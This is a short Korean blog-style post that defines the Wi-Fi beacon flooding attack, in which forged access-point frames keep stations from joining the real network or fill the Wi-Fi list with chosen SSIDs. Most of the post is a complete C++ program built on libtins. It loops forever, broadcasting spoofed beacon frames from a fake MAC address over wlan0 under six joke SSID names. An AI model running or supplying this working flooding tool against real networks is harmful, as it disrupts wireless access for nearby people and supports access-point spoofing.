Beacon Flooding Attack은 실제 AP와 똑같은 Frame을 전송하여(Beacon, Probe Response, Authentication Response, Association Response 등) Station으로 하여금 실제 AP에 접속을 하지 못하게 하는 Attack을 일컫는다(Attacker가 Station에 물리적으로 가까이 위치하게 해서). 또한 아래의 예시처럼 Attacker가 원하는 SSID 항목을 와이파이 리스트에서 보이게 하는 것도 Beacon Flooding Attack이라 한다.

#include <unistd.h>
#include <list>
#include <tins/tins.h>

using namespace std;
using namespace Tins;

int main()
{
  list<string> ssidList {
    "1.길길이",
    "2.엄청잘생김",
    "3.서울에서제일잘생김",
    "4.한국에서제일잘생김",
    "5.세상에서제일잘생김",
    "6.완전짱인듯"
  };
  list<string>::iterator it = ssidList.begin();
  while (true) {
    RadioTap tap;

    Dot11::address_type ap        = "00:11:22:33:44:55";
    Dot11::address_type broadcast = "ff:ff:ff:ff:ff:ff";
    Dot11Beacon beacon(broadcast, ap);
    beacon.addr4(ap);
    beacon.ssid(*it);
    beacon.ds_parameter_set(1);
    beacon.supported_rates({ 1.0f, 5.5f, 11.0f });
    tap.inner_pdu(beacon);

    PacketSender sender("wlan0");
    sender.send(tap);
    usleep(1000);

    if (++it == ssidList.end())
      it = ssidList.begin();
  }
}

참조 사이트

http://libtins.github.io/tutorial/802.11/#management-frames